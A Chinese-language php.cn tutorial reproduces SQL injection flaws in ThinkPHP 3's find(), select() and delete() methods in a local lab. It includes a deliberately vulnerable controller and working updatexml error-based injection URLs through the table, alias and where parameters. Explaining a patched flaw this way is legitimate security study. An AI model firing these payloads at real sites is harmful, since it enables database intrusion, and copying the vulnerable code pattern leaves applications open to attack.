首頁 > php框架 > ThinkPHP > 主體

thinkphp3有漏洞嗎

藏色散人
發布: 2019-08-06 11:31:11
原創
2476 人瀏覽過

thinkphp3有漏洞嗎

thinkphp3有漏洞嗎?

thinkphp3是有漏洞的,但是在北京時間2018年8月23號11:25分星期四,tp團隊對於已經停止更新的thinkphp 3系列進行了一處安全更新,經過分析,此次更新修正了由於select(),find(),delete()方法可能會傳入數組類型資料產生的多個sql注入隱患。

0x01 漏洞複現

下載原始碼: git clone https://github.com/top-think/thinkphp.git

使用git checkout 指令將版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b

#使用phpstudy等整合工具建構的設定檔,修改程式設計

#DocumentRoot "" 為thinkphp所在的目錄。

thinkphp3有漏洞嗎

重啟phpstudy,訪問127.0.0.1,輸出thinkphp的歡迎訊息,表示thinkphp已正常運作。

thinkphp3有漏洞嗎

建構資料庫,資料庫為tptest,表格為user,表格裡面有三個欄位id,username,pass

thinkphp3有漏洞嗎# #修改Application\Common\Conf\config.php設定文件,新增資料庫設定資訊。

thinkphp3有漏洞嗎之後在Application\Home\Controller\IndexController.class.php 加入以下程式碼:

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }
登入後複製

針對select() 和find()方法,有很多地方可注,這裡主要列舉三個table,alias,where,更多還請自行追蹤一下parseSql的各個parseXXX方法,目測都是可行的,例如having,group等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
登入後複製

thinkphp3有漏洞嗎而delete()方法的話同樣,這裡粗略舉三個例子,table,alias,where,但使用table和alias的時候,同時還必須保證where不為空(詳細原因後面會說)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
登入後複製

thinkphp3有漏洞嗎透過github上的commit 對比其實可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model .class.php檔案中,其中對於delete,find,select三個函數進行了修改。

以上是thinkphp3有漏洞嗎的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:php.cn
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!